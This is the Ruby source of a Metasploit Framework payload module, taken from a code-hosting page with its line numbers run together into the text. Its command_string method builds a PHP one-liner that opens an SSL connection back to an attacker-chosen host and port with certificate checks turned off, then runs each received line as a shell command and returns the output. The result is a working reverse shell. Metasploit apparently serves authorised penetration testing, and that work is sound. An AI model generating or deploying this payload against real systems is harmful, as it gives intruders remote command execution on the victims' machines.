Path: blob/master/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 27978include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',16'Description' => 'Creates an interactive shell via php, uses SSL',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'License' => BSD_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseTcpSsl,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'php',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31register_advanced_options(32[33OptString.new('PHPPath', [true, 'The path to the PHP executable', 'php'])34]35)36end3738#39# Constructs the payload40#41def generate(_opts = {})42vprint_good(command_string)43return super + command_string44end4546#47# Returns the command string to use for execution48#49def command_string50lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']51"#{datastore['PHPPath']} -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false,\"verify_peer_name\"=>false]]);while($s=@stream_socket_client(\"ssl://#{lhost}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"52end53end545556